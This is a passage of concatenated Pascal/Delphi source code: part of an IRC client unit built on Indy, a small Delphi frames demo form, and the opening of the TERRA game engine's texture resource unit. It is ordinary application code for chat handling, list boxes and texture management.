Result := FIdIRC.Host;
end;
function TIRC.GetNickName: string;
begin
Result := FIdIRC.UsedNickname;
end;
function TIRC.FormatNickName(const AMessage: string): string;
begin
Result := StringReplace(AMessage, NickName, Format(NickNameFormat, [NickName]), []);
end;
function TIRC.IsConnected: boolean;
begin
try
Result := FIdIRC.Connected;
except
DoDisconnect; //Must not call the Disconnect method, it can call IsConnected again
Result := False;
end;
end;
function TIRC.IsInputCommand(const Message: string): boolean;
begin
Result := Pos('/', TrimLeft(Message)) = 1;
end;
procedure TIRC.AutoJoinChannels;
var
I: integer;
Channel: TChannel;
begin
if FChannelList.Count > 0 then
begin
for Channel in FChannelList do
Join(Channel.Name);
Exit;
end;
if FAutoJoinChannels = nil then
Exit;
for I := 0 to FAutoJoinChannels.Count - 1 do
Join(FAutoJoinChannels.ValueFromIndex[I]);
end;
procedure TIRC.MessageToChannel(const Msg: string);
var
Channel: string;
begin
Channel := RemoveOPVoicePrefix(FActiveChannel);
Say(Channel, Msg);
MessageReceived(FActiveChannel, FormatMessage(NickName, Msg), True);
end;
procedure TIRC.MessageReceived(const Channel, Message: string; OwnMessage: boolean);
begin
FChannel := Channel;
FMessage := Message;
FOwnMessage := OwnMessage;
TIdSync.SynchronizeMethod(@SendMessage);
end;
procedure TIRC.Raw(const RawString: string);
begin
try
FIdIRC.Raw(RawString)
except
on E: EIdException do
HandleIdException(E);
end;
end;
procedure TIRC.OnStatus(ASender: TObject; const AStatus: TIdStatus; const AStatusText: string);
begin
if AStatus = hsConnected then
FReady := True;
FServerMessage := AStatusText;
TIdSync.SynchronizeMethod(@SendServerMessage);
end;
procedure TIRC.OnNotice(ASender: TIdContext; const ANicknameFrom, AHost, ANicknameTo, ANotice: string);
begin
FServerMessage := Format('* Notice from %s to %s: %s ', [ANicknameFrom, ANicknameTo, ANotice]);
TIdSync.SynchronizeMethod(@SendServerMessage);
end;
procedure TIRC.OnMOTD(ASender: TIdContext; AMOTD: TStrings);
begin
FServerMessages := AMOTD;
TIdSync.SynchronizeMethod(@SendServerMessage);
end;
procedure TIRC.OnRaw(ASender: TIdContext; AIn: boolean; const AMessage: string);
begin
{$IFDEF DEBUG}
FServerMessage := AMessage;
TIdSync.SynchronizeMethod(@SendServerMessage);
{$ENDIF}
end;
procedure TIRC.OnPrivateMessage(ASender: TIdContext; const ANickname, AHost, ATarget, AMessage: string);
var
Mensagem: string;
begin
Mensagem := FormatNickName(AMessage);
Mensagem := FormatMessage(ANickname, Mensagem);
if ATarget <> NickName then
MessageReceived(ATarget, Mensagem, False)
else
MessageReceived(ANickname, Mensagem, False);
end;
procedure TIRC.OnNickNameListReceive(ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
begin
FChannel := AChannel;
FNickNameList := ANicknameList;
TIdSync.SynchronizeMethod(@SendNickNameListReceived);
end;
procedure TIRC.OnJoin(ASender: TIdContext; const ANickname, AHost, AChannel: string);
begin
FJoinedCommand.Execute(ANickname, AHost, AChannel);
end;
procedure TIRC.OnPart(ASender: TIdContext; const ANickname, AHost, AChannel, APartMessage: string);
begin
FPartedCommand.Execute(ANickname, AHost, AChannel, APartMessage);
end;
procedure TIRC.OnQuit(ASender: TIdContext; const ANickname, AHost, AReason: string);
begin
FQuitCommand.Execute(ANickname, AReason);
end;
procedure TIRC.OnWelcome(ASender: TIdContext; const AMsg: string);
begin
FServerMessage := AMsg;
TIdSync.SynchronizeMethod(@SendServerMessage);
end;
procedure TIRC.OnTopic(ASender: TIdContext; const ANickname, AHost, AChannel, ATopic: string);
begin
FChannel := AChannel;
FMessage := Format(StrTopic, [AChannel, ATopic]);
TIdSync.SynchronizeMethod(@SendMessage);
end;
procedure TIRC.OnNickNameChanged(ASender: TIdContext; const AOldNickname, AHost, ANewNickname: string);
begin
FChannelList.NickName := FIdIRC.UsedNickname;
FOldNickName := AOldNickname;
FNewNickName := ANewNickname;
TIdSync.SynchronizeMethod(@SendNickNameChanged);
end;
procedure TIRC.RemoveEvents;
begin
FIdIRC.OnStatus := nil;
FIdIRC.OnNotice := nil;
FIdIRC.OnMOTD := nil;
FIdIRC.OnPrivateMessage := nil;
FIdIRC.OnNicknamesListReceived := nil;
FIdIRC.OnJoin := nil;
FIdIRC.OnPart := nil;
FIdIRC.OnServerWelcome := nil;
FIdIRC.OnRaw := nil;
FIdIRC.OnQuit := nil;
FIdIRC.OnTopic := nil;
FIdIRC.OnNicknameChange := nil;
end;
function TIRC.RemoveOPVoicePrefix(const Channel: string): string;
begin
Result := Channel;
if FIdIRC.IsOp(Channel) or FIdIRC.IsVoice(Channel) then
Result := Copy(Channel, 2, MaxInt);
end;
procedure TIRC.Say(const Channel, Msg: string);
begin
try
FIdIRC.Say(Channel, Msg);
except
on E: EIdException do
HandleIdException(E);
end;
end;
procedure TIRC.SendMessage;
begin
FOnMessageReceived(FChannel, FMessage, FOwnMessage);
end;
procedure TIRC.SendNickNameListReceived;
begin
FOnNickListReceived(FChannel, FNicknameList);
end;
procedure TIRC.SendServerMessage;
begin
if FServerMessages <> nil then
FView.ServerMessage(FServerMessages.Text);
if FServerMessage <> '' then
FView.ServerMessage(FServerMessage);
FServerMessage := '';
FServerMessages := nil;
end;
procedure TIRC.SendServerMessage(const Msg: string);
begin
FServerMessage := Msg;
TIdSync.SynchronizeMethod(@SendServerMessage);
end;
procedure TIRC.SendNickNameChanged;
begin
FChannelList.NickNameChanged(FOldNickName, FNewNickName);
end;
procedure TIRC.DoConnect;
begin
try
FIdIRC.Connect;
except
on E: Exception do
begin
try
FIdIRC.Disconnect(False);
except
end;
if FIdIRC.IOHandler <> nil then
FIdIRC.IOHandler.InputBuffer.Clear;
FView.ServerMessage(Format('Cannot connect to server: %s', [E.Message]));
Abort;
end;
end;
end;
procedure TIRC.HandleIdException(E: EIdException);
begin
SendServerMessage(E.Message);
end;
procedure TIRC.Connect;
begin
Disconnect;
ConfigureEvents;
TIdIRCConfig.Configure(FIdIRC, FAutoJoinChannels);
DoConnect;
FChannelList.NickName := FIdIRC.UsedNickname;
TIdIRCConfig.ConfigureEncoding(FIdIRC);
AutoJoinChannels;
end;
procedure TIRC.Disconnect;
begin
if not IsConnected then
Exit;
// It's necessary to remove the event handlers or
// the thread can try to notify the interface
// and cause a deadlock here see Issue #18
RemoveEvents;
{$IFDEF UNIX}
Raw('QUIT');
sleep(500); //Issue #18 - The thread deadlocks if we don't wait >(
{$ENDIF}
DoDisconnect;
end;
procedure TIRC.Join(const Name: string);
begin
try
FIdIRC.Join(Name);
except
on E: EIdException do
HandleIdException(E);
end;
end;
procedure TIRC.Part(const Name: string);
begin
try
FIdIRC.Part(Name);
except
on E: EIdException do
HandleIdException(E);
end;
end;
procedure TIRC.Ping;
begin
try
FIdIRC.Ping(FIdIRC.Host);
except
on E: EIdException do
HandleIdException(E);
end;
end;
procedure TIRC.SendMessage(const Message: string);
var
IsCommand: boolean;
RawString: string;
begin
IsCommand := IsInputCommand(Message);
if (FActiveChannel = '') or IsCommand then
begin
RawString := Message;
if IsCommand then
RawString := FCommands.GetRawCommand(RawString);
Raw(RawString);
end
else
MessageToChannel(Message);
end;
constructor TIRC.Create(ChannelList: TChannelList);
begin
inherited Create;
FChannelList := ChannelList;
FQuitCommand := TQuitCommand.Create(FChannelList);
FPartedCommand := TPartedCommand.Create(FChannelList);
FJoinedCommand := TJoinedCommand.Create(FChannelList);
FView := ChannelList.View;
FIdIRC := TIdIRC.Create(nil);
FCommands := TIRCCommand.Create;
FAutoJoinChannels := TStringList.Create;
end;
destructor TIRC.Destroy;
begin
FPartedCommand.Free;
FQuitCommand.Free;
FJoinedCommand.Free;
FIdIRC.Free;
FAutoJoinChannels.Free;
FCommands.Free;
inherited;
end;
end.
|
unit FramesForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ListFrame, StdCtrls;
type
TFormFrames = class(TForm)
FrameList1: TFrameList;
FrameList2: TFrameList;
btnLeft: TButton;
btnRight: TButton;
procedure FrameList2btnClearClick(Sender: TObject);
procedure btnLeftClick(Sender: TObject);
procedure btnRightClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FormFrames: TFormFrames;
implementation
{$R *.DFM}
procedure TFormFrames.FrameList2btnClearClick(Sender: TObject);
begin
if MessageDlg ('OK to empty the list box?',
mtConfirmation, [mbYes, mbNo], 0) = idYes then
// execute standard frame code
FrameList2.btnClearClick(Sender);
end;
procedure TFormFrames.btnLeftClick(Sender: TObject);
begin
FrameList1.ListBox.Items.AddStrings (
FrameList2.ListBox.Items);
end;
procedure TFormFrames.btnRightClick(Sender: TObject);
begin
FrameList2.ListBox.Items.AddStrings (
FrameList1.ListBox.Items);
end;
end.
|
{***********************************************************************************************************************
*
* TERRA Game Engine
* ==========================================
*
* Copyright (C) 2003, 2014 by SÚrgio Flores (relfos@gmail.com)
*
***********************************************************************************************************************
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
**********************************************************************************************************************
* TERRA_Texture
* Implements a Texture resource
***********************************************************************************************************************
}
Unit TERRA_Texture;
{$I terra.inc}
Interface
Uses {$IFDEF USEDEBUGUNIT}TERRA_Debug,{$ENDIF}
TERRA_String, TERRA_Image, TERRA_Stream, TERRA_Color, TERRA_Vector2D, TERRA_Math,
TERRA_Resource, TERRA_ResourceManager, TERRA_Renderer;
{$IFDEF MOBILE}
{-$DEFINE TEXTURES16BIT}
{$ENDIF}
Const
MinTextureSize = 2;
Type
Texture = Class(Resource)
Protected
_Handles:Array Of SurfaceInterface;
_FrameCount:Integer;
_Width:Cardinal;
_Height:Cardinal;
_AnimationStart:Cardinal;
_TargetFormat:TextureColorFormat;
_ByteFormat:PixelSizeType;
_Source:Image;
_Ratio:Vector2D;
_Managed:Boolean;
_SizeInBytes:Cardinal;
_CurrentFrame:Integer;
_SettingsChanged:Boolean;
_WrapMode:TextureWrapMode;
_MipMapped:Boolean;
_Filter:TextureFilterMode;
_TransparencyType:ImageTransparencyType;
Function GetCurrentFrame():Integer;
Function GetCurrent:SurfaceInterface;
Procedure AdjustRatio(Source:Image);
Function IsNPOT():Boolean;
Function DetectBestFormat(Source:Pointer; SourceFormat:TextureColorFormat):TextureColorFormat;
Function ConvertToFormat(Source:Pointer; SourceFormat, TargetFormat:TextureColorFormat):Pointer;
Procedure ApplySettings(Slot:Integer);
Function GetOrigin: SurfaceOrigin;
Function GetTransparencyType: ImageTransparencyType;
Public
Uncompressed:Boolean;
PreserveQuality:Boolean;
Constructor Create(Kind:ResourceType; Location:TERRAString);
Procedure InitFromSize(TextureWidth, TextureHeight:Cardinal; FillColor:Color);
Procedure InitFromImage(Source:Image);
Procedure InitFromSurface(Surface:SurfaceInterface);
Function IsValid():Boolean;
Function Load(Source:Stream):Boolean; Override;
Function Unload:Boolean; Override;
Function Update:Boolean; Override;
Class Function GetManager:Pointer; Override;
Class Function RAM:Cardinal;
Function Bind(Slot:Integer):Boolean;
Procedure UpdateRect(Source:Image; X,Y:Integer); Overload;
Procedure UpdateRect(Source:Image); Overload;
Procedure SetWrapMode(Value:TextureWrapMode);
Procedure SetMipMapping(Value:Boolean);
Procedure SetFilter(Value:TextureFilterMode);
Procedure Save(Const FileName:TERRAString);
Function GetImage():Image;
Function GetPixel(X,Y:Integer):Color; Virtual;
Class Function LoadFromFile(Const FileName:TERRAString):Texture;
//Property Format:Cardinal Read _Format;
Property Width:Cardinal Read _Width;
Property Height:Cardinal Read _Height;
Property Ratio:Vector2D Read _Ratio;
Property WrapMode:TextureWrapMode Read _WrapMode Write SetWrapMode;
Property MipMapped:Boolean Read _MipMapped Write SetMipMapping;
Property Filter:TextureFilterMode Read _Filter Write SetFilter;
Property TransparencyType:ImageTransparencyType Read GetTransparencyType;
Property Origin: SurfaceOrigin Read GetOrigin;
Property SizeInBytes:Cardinal Read _SizeInBytes;
Property Current:SurfaceInterface Read GetCurrent;
End;
TextureClass = Class Of Texture;
TextureFormat = Record
Extension:TERRAString;
ClassType:TextureClass;
End;
TextureManager = Class(ResourceManager)
Protected
_DefaultColorTable:Texture;
_DefaultNormalMap:Texture;
_WhiteTexture:Texture;
_BlackTexture:Texture;
_NullTexture:Texture;
_CellNoise:Texture;
Function GetDefaultNormalMap:Texture;
Function GetDefaultColorTable:Texture;
Function GetCellNoise:Texture;
Function CreateTextureWithColor(Name:TERRAString; TexColor:Color):Texture;
Function GetWhiteTexture:Texture;
Function GetNullTexture:Texture;
Function GetBlackTexture:Texture;
Procedure FillTextureWithColor(Tex: Texture; TexColor: Color);
Public
Procedure Init; Override;
// Procedure OnContextLost; Override;
Class Function Instance:TextureManager;
Function GetTexture(Name:TERRAString):Texture;
Procedure Release; Override;
Property NullTexture:Texture Read GetNullTexture;
Property WhiteTexture:Texture Read GetWhiteTexture;
Property BlackTexture:Texture Read GetBlackTexture;
Property CellNoise:Texture Read GetCellNoise;
Property DefaultColorTable:Texture Read GetDefaultColorTable;
Property DefaultNormalMap:Texture Read GetDefaultNormalMap;
Property Textures[Name:TERRAString]:Texture Read GetTexture; Default;
End;
DefaultColorTableTexture = Class(Texture)
Public
Function Build():Boolean; Override;
End;
Var
_TextureFormatList:Array Of TextureFormat;
_TextureFormatCount:Integer = 0;
_TextureMemory:Cardinal;
Procedure RegisterTextureFormat(ClassType:TextureClass; Extension:TERRAString);
Implementation
Uses TERRA_Error, TERRA_Utils, TERRA_Application, TERRA_Log, TERRA_GraphicsManager, TERRA_OS,
TERRA_FileUtils, TERRA_FileStream, TERRA_FileManager, TERRA_ColorGrading, TERRA_Noise;
Var
_TextureManager:ApplicationObject = Nil;
{ TextureManager }
Procedure RegisterTextureFormat(ClassType:TextureClass; Extension:TERRAString);
Begin
Inc(_TextureFormatCount);
SetLength(_TextureFormatList, _TextureFormatCount);
_TextureFormatList[Pred(_TextureFormatCount)].Extension := Extension;
_TextureFormatList[Pred(_TextureFormatCount)].ClassType := ClassType;
End;
Class Function TextureManager.Instance:TextureManager;
Begin
If _TextureManager = Nil Then
_TextureManager := InitializeApplicationComponent(TextureManager, GraphicsManager);
Result := TextureManager(_TextureManager.Instance);
End;
Procedure TextureManager.Init;
Begin
Inherited;
Self.AutoUnload := True;
//Self.UseThreads := True;
End;
Function TextureManager.GetTexture(Name:TERRAString):Texture;
Var
I:Integer;
Var
S:TERRAString;
TextureFormat:TextureClass;
Info:ImageClassInfo;
Begin
Result := Nil;
Name := StringTrim(Name);
Name := GetFileName(Name, True);
If (Name='') Then
Exit;
Result := Texture(GetResource(Name));
If Not Assigned(Result) Then
Begin
S := '';
TextureFormat := Nil;
I := 0;
While (S='') And (I<_TextureFormatCount) Do
Begin
S := FileManager.Instance.SearchResourceFile(Name+'.'+_TextureFormatList[I].Extension);
If S<>'' Then
Begin
TextureFormat := _TextureFormatList[I].ClassType;
Break;
End;
Inc(I);
End;
I := 0;
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Searching for file with extension for '+Name);{$ENDIF}
While (S='') And (I<GetImageExtensionCount()) Do
Begin
Info := GetImageExtension(I);
S := FileManager.Instance.SearchResourceFile(Name+'.'+Info.Name);
Inc(I);
End;
If S<>'' Then
Begin
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Found '+S+'...');{$ENDIF}
If Assigned(TextureFormat) Then
Result := TextureFormat.Create(rtLoaded, S)
Else
Result := Texture.Create(rtLoaded, S);
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Texture class instantiated sucessfully!');{$ENDIF}
If (Pos('_',S)>0) Then
Result.Priority := 30
Else
Result.Priority := 50;
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Texture loading priority set!');{$ENDIF}
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Texture settings set!');{$ENDIF}
Self.AddResource(Result);
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Texture added to manager!');{$ENDIF}
End Else
Begin
S := Self.ResolveResourceLink(Name);
If S<>'' Then
Begin
Result := Self.GetTexture(S);
If Assigned(Result) Then
Exit;
End;
{If ValidateError Then
RaiseError('Could not find texture. ['+Name+']');}
End;
End;
End;
Function TextureManager.CreateTextureWithColor(Name:TERRAString; TexColor:Color):Texture;
Begin
Result := Texture.Create(rtDynamic, Name);
Result.InitFromSize(64, 64, TexColor);
Result.Uncompressed := True;
Result.MipMapped := False;
Result.Filter := filterLinear;
End;
Procedure TextureManager.FillTextureWithColor(Tex: Texture; TexColor: Color);
Var
Buffer:Image;
Begin
If (Tex = Nil) Then
Exit;
Buffer := Image.Create(Tex.Width, Tex.Height);
Buffer.FillRectangleByUV(0,0,1,1, TexColor);
Tex.UpdateRect(Buffer, 0, 0);
ReleaseObject(Buffer);
End;
Function TextureManager.GetBlackTexture: Texture;
Begin
If (Not Assigned(_BlackTexture)) Then
_BlackTexture := Self.CreateTextureWithColor('default_black', ColorBlack)
Else
If (_BlackTexture.Status <> rsReady) Then
Begin
_BlackTexture.Update();
FillTextureWithColor(_BlackTexture, ColorBlack);
End Else
If (Not _BlackTexture.IsValid()) Then
Begin
_BlackTexture.Unload();
End;
Result := _BlackTexture;
End;
Function TextureManager.GetWhiteTexture: Texture;
Begin
If (Not Assigned(_WhiteTexture)) Then
_WhiteTexture := Self.CreateTextureWithColor('default_white', ColorWhite)
Else
If (_WhiteTexture.Status <> rsReady) Then
Begin
_WhiteTexture.Update();
FillTextureWithColor(_WhiteTexture, ColorWhite);
End Else
If (Not _WhiteTexture.IsValid()) Then
Begin
_WhiteTexture.Unload();
End;
Result := _WhiteTexture;
End;
Function TextureManager.GetNullTexture: Texture;
Begin
If (Not Assigned(_NullTexture)) Then
_NullTexture := Self.CreateTextureWithColor('default_null', ColorNull)
Else
If (_NullTexture.Status <> rsReady) Then
Begin
_NullTexture.Update();
FillTextureWithColor(_NullTexture, ColorNull);
End Else
If (Not _NullTexture.IsValid()) Then
Begin
_NullTexture.Unload();
End;
Result := _NullTexture;
End;
Function GetDefaultNormalColor():Color;
Begin
Result := ColorCreate(128,128,255);
End;
Function TextureManager.GetDefaultNormalMap:Texture;
Begin
If (Not Assigned(_DefaultNormalMap)) Then
_DefaultNormalMap := Self.CreateTextureWithColor('default_normal', GetDefaultNormalColor())
Else
Begin
If (_DefaultNormalMap.Status <> rsReady) Then
Begin
_DefaultNormalMap.Update();
FillTextureWithColor(_DefaultNormalMap, GetDefaultNormalColor());
End Else
If (Not _DefaultNormalMap.IsValid()) Then
Begin
_DefaultNormalMap.Unload();
End;
End;
Result := _DefaultNormalMap;
End;
{Function MyTest(P:Color):Color; CDecl;
Var
V:ColorHSL;
Begin
Result :=P; Exit;
V := ColorRGBToHSL(P);
V.H := 140;
Result := ColorHSLToRGB(V);
Result := ColorGreen;
End;}
Function TextureManager.GetDefaultColorTable:Texture;
Begin
If (Not Assigned(_DefaultColorTable)) Then
Begin
_DefaultColorTable := DefaultColorTableTexture.Create(rtDynamic, 'default_colortable');
_DefaultColorTable.InitFromSize(1024, 32, ColorNull);
_DefaultColorTable.Rebuild();
End Else
If (Not _DefaultColorTable.IsValid()) Then
Begin
_DefaultColorTable.Rebuild();
End;
Result := _DefaultColorTable;
End;
Procedure TextureManager.Release;
begin
ReleaseObject(_WhiteTexture);
ReleaseObject(_BlackTexture);
ReleaseObject(_NullTexture);
ReleaseObject(_DefaultColorTable);
ReleaseObject(_DefaultNormalMap);
ReleaseObject(_CellNoise);
Inherited;
_TextureManager := Nil;
End;
Function TextureManager.GetCellNoise: Texture;
Var
Noise:NoiseGenerator;
Img:Image;
Begin
If _CellNoise = Nil Then
Begin
Noise := CellNoiseGenerator.Create();
//Noise := PerlinNoiseGenerator.Create();
Img := Image.Create(512, 512);
Noise.SaveToImage(Img, 0.0, maskRGB);
//Img.Save('cellnoise.png');
_CellNoise := Texture.Create(rtDynamic, 'cellnoise');
_CellNoise.InitFromImage(Img);
ReleaseObject(Img);
ReleaseObject(Noise);
End;
Result := _CellNoise;
End;
{ Texture }
Class Function Texture.RAM:Cardinal;
Begin
Result := _TextureMemory;
End;
Constructor Texture.Create(Kind:ResourceType; Location:TERRAString);
Begin
Inherited Create(Kind, Location);
_TargetFormat := colorRGBA;
_ByteFormat := pixelSizeByte;
_Ratio := VectorCreate2D(1, 1);
_Key := Name;
_SettingsChanged := True;
_WrapMode := wrapAll;
_MipMapped := GraphicsManager.Instance.Renderer.Features.Shaders.Avaliable;
_Filter := filterBilinear;
_Managed := False;
End;
Procedure Texture.InitFromSurface(Surface: SurfaceInterface);
Begin
If (Surface = Nil) Then
Begin
Self.InitFromSize(128, 128, ColorRed);
Exit;
End;
_Width := Surface.Width;
_Height := Surface.Height;
_FrameCount := 1;
SetLength(_Handles, _FrameCount);
_Handles[0] := Surface;
Uncompressed := False;
Self.SetStatus(rsReady);
_SettingsChanged := True;
_TransparencyType := imageTransparent;
_Managed := True;
End;
Procedure Texture.InitFromSize(TextureWidth, TextureHeight:Cardinal; FillColor:Color);
Begin
_Width := TextureWidth;
_Height := TextureHeight;
If (Not GraphicsManager.Instance.Renderer.Features.NPOT.Avaliable) Then
Begin
_Width := IntMax(NearestPowerOfTwo(_Width), MinTextureSize);
_Height := IntMax(NearestPowerOfTwo(_Height), MinTextureSize);
If GraphicsManager.Instance.Renderer.Features.MaxTextureSize>0 Then
Begin
_Width := IntMin(_Width, GraphicsManager.Instance.Renderer.Features.MaxTextureSize);
_Height := IntMin(_Height, GraphicsManager.Instance.Renderer.Features.MaxTextureSize);
End;
_Ratio := VectorCreate2D(_Width/TextureWidth, _Height/TextureHeight);
End;
_Source := Image.Create(_Width, _Height);
_Source.FillRectangleByUV(0, 0, 1.0, 1.0, FillColor);
_TransparencyType := imageOpaque;
Uncompressed := False;
Self.Update();
End;
Procedure Texture.InitFromImage(Source:Image);
Begin
_TransparencyType := imageUnknown;
If (Source = Nil) Then
Self.InitFromSize(128, 128, ColorWhite)
Else
Begin
AdjustRatio(Source);
Self.InitFromSize(Source.Width, Source.Height, ColorWhite);
Self.UpdateRect(Source);
End;
End;
Function Texture.Load(Source: Stream):Boolean;
Var
Ofs:Cardinal;
Begin
Uncompressed := False;
Ofs := Source.Position;
_Source := Image.Create(Source);
(* If (StringContains('monster', Source.Name)) Then
IntToString(2);*)
_TransparencyType := _Source.TransparencyType;
AdjustRatio(_Source);
_Width := _Source.Width;
_Height := _Source.Height;
If (StringContains('_normal', Source.Name)) Then
Uncompressed := True;
_TargetFormat := colorRGBA;
_ByteFormat := pixelSizeByte;
Result := True;
End;
Function Texture.Unload:Boolean;
Var
MemCount:Integer;
I,S:Integer;
Begin
If (Length(_Handles)>0) And (Not _Managed) Then
Begin
MemCount := _Size * _FrameCount;
If (_TextureMemory>=MemCount) Then
Dec(_TextureMemory, MemCount);
For I:=0 To Pred(_FrameCount) Do
If (Assigned(_Handles[I])) And (_Handles[I].IsValid()) Then
ReleaseObject(_Handles[I]);
_Handles := Nil;
_FrameCount := 0;
End;
ReleaseObject(_Source);
_TransparencyType := imageUnknown;
Result := Inherited Unload();
End;
{$DEFINE FORCERGBA}
{$IFDEF IPHONE}
{$DEFINE FORCERGBA}
{$ENDIF}
{$IFDEF LINUX}
{$DEFINE FORCERGBA}
{$ENDIF}
Function Texture.Update:Boolean;
Var
W,H,I, J, S:Cardinal;
Pixels:PWord;
SourceFormat:TextureColorFormat;
Tex:TextureInterface;
Temp:SurfaceInterface;
Begin
Inherited Update();
Result := False;
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Allocating pixels');{$ENDIF}
If (Not Assigned(_Source)) Then
Begin
_Source := Image.Create(_Width, _Height);
_Source.Process(IMP_FillColor, ColorWhite);
_TransparencyType := imageOpaque;
Exit;
End;
_FrameCount := _Source.FrameCount;
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Generating texture');{$ENDIF}
If (Length(_Handles)<=0) Then
SetLength(_Handles, _FrameCount);
_CurrentFrame := 0;
SourceFormat := colorRGBA;
_TargetFormat := DetectBestFormat(_Source, SourceFormat);
Pixels := ConvertToFormat(_Source.Pixels, SourceFormat, _TargetFormat);
_Size := 0;
For I:=0 To Pred(_FrameCount) Do
If _Handles[I] = Nil Then
Begin
Temp := _Handles[I];
If (_FrameCount>0) Then
Begin
_Source.SetCurrentFrame(I);
Pixels := PWord(_Source.Pixels);
End;
Tex := GraphicsManager.Instance.Renderer.CreateTexture();
Tex.Generate(Pixels, _Source.Width, _Source.Height, SourceFormat, _TargetFormat, _ByteFormat);
_Handles[I] := Tex;
Inc(_Size, _Handles[I].Size);
ReleaseObject(Temp);
End;
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Freeing pixels');{$ENDIF}
Self.SetStatus(rsReady);
Inc(_TextureMemory, _Size * _FrameCount);
Result := True;
_AnimationStart := Application.GetTime();
_CurrentFrame := 0;
_SettingsChanged := True;
End;
Var
_TextureSlots:Array[0..7] Of Texture;
Function Texture.Bind(Slot:Integer):Boolean;
Begin
Result := False;
If (Self = Nil) Or (Not Self.IsReady()) Then
Begin
//glBindTexture(GL_TEXTURE_2D, 0);
Exit;
End;
{ If (_TextureSlots[Slot] = MyTexture) Then
Exit;
_TextureSlots[Slot] := MyTexture;}
_CurrentFrame := GetCurrentFrame();
If (Self.Current = Nil) Then
Exit;
If (Not Self.Current.IsValid()) Then
Begin
Self.Unload();
Self.Rebuild();
Exit;
End;
Result := GraphicsManager.Instance.Renderer.BindSurface(Self.Current, Slot);
If (_SettingsChanged) Then
Begin
{$IFDEF DEBUG_GRAPHICS}Log(logDebug, 'Texture', 'Applying texture settings');{$ENDIF}
_SettingsChanged := False;
Self.ApplySettings(Slot);
End;
End;
Procedure Texture.UpdateRect(Source:Image; X,Y:Integer);
Var
Pixels:PWord;
SourceFormat:TextureColorFormat;
Begin
If (Self.TransparencyType = imageUnknown) Or (Self.TransparencyType = imageOpaque) Then
_TransparencyType := Source.TransparencyType;
If (Assigned(_Source)) Then
_Source.Blit(X,Y, 0, 0, Source.Width, Source.Height, Source);
If Length(_Handles)<=0 Then
Begin
Exit;
End;
SourceFormat := colorRGBA;
Pixels := Self.ConvertToFormat(Source.Pixels, SourceFormat, _TargetFormat);
If Self.Current Is TextureInterface Then
TextureInterface(Self.Current).Update(Pixels, X, Y, Source.Width, Source.Height)
Else
RaiseError('Trying to update something that is not a TextureInterface!');
End;
Procedure Texture.UpdateRect(Source:Image);
Begin
If (Self.Width<>Source.Width) Or (Self.Height <> Source.Height) Then
Begin
RaiseError('Invalid texture dimensions: '+IntToString(Self.Width)+' x' + IntToString(Self.Height));
Exit;
End;
Self.UpdateRect(Source, 0, 0);
End;
Class Function Texture.GetManager: Pointer;
Begin
Result := TextureManager.Instance;
End;
(*Procedure TextureManager.OnContextLost;
Begin
Inherited;
If Assigned(_WhiteTexture) Then
_WhiteTexture.Unload();
If Assigned(_BlackTexture) Then
_BlackTexture.Unload();
If Assigned(_NullTexture) Then
_NullTexture.Unload();
If Assigned(_DefaultNormalMap) Then
_DefaultNormalMap.Unload();
If Assigned(_DefaultColorTable) Then
_DefaultColorTable.Unload();
End;*)
{ DefaultColorTable }
Function DefaultColorTableTexture.Build():Boolean;
Var
Temp:Image;
Begin
Temp := CreateColorTable(32);
Self.UpdateRect(Temp);
ReleaseObject(Temp);
Self.MipMapped := False;
Self.WrapMode := wrapNothing;
Result := True;
End;
Function Texture.GetCurrentFrame: Integer;
Var
Delta:Single;
Begin
If (_FrameCount<=1) Then
Result := 0
Else
Begin
Delta := (Application.GetTime - _AnimationStart);
Delta := Delta / 1000;
If (Delta>1) Then
Delta := Frac(Delta);
Result := Trunc(Delta * Pred(_FrameCount));
End;
End;
Procedure Texture.AdjustRatio(Source:Image);
Var
W,H:Cardinal;
Begin
If Source = Nil Then
Exit;
If (Not GraphicsManager.Instance.Renderer.Features.NPOT.Avaliable) Then
Begin
W := IntMax(NearestPowerOfTwo(Source.Width), MinTextureSize);
H := IntMax(NearestPowerOfTwo(Source.Height), MinTextureSize);
If GraphicsManager.Instance.Renderer.Features.MaxTextureSize>0 Then
Begin
W := IntMin(W, GraphicsManager.Instance.Renderer.Features.MaxTextureSize);
H := IntMin(H, GraphicsManager.Instance.Renderer.Features.MaxTextureSize);
End;
_Ratio := VectorCreate2D(W/Source.Width, H/Source.Height);
If (W<>Source.Width) Or (H<>Source.Height) Then
Log(logDebug, 'Texture', self.Name+ ' needs resizing: '+IntToString(W) +' ' +IntToString(H));
Source.Resize(W,H);
End Else
Begin
_Ratio := VectorCreate2D(1, 1);
End;
End;
Var
Scratch16:Array Of Word;
Function Texture.ConvertToFormat(Source:Pointer; SourceFormat, TargetFormat:TextureColorFormat):Pointer;
Begin
Result := Source;
End;
Function Texture.DetectBestFormat(Source:Pointer; SourceFormat:TextureColorFormat):TextureColorFormat;
Begin
Result := SourceFormat;
End;
(*
Procedure Texture.ConvertToFormat(Source:Image; Var Pixels:PWord);
Var
HasMask:Boolean;
HasAlpha:Boolean;
Alpha:Byte;
C:Color;
P:PColor;
OP:PWord;
X, I, Count:Integer;
Begin
If (_SourceFormat <=0) Then
Begin
_ByteFormat := GL_UNSIGNED_BYTE;
_SourceFormat := GL_RGBA;
_TargetFormat := GL_RGBA8;
End;
Source.SetCurrentFrame(0);
Pixels := PWord(Source.Pixels);
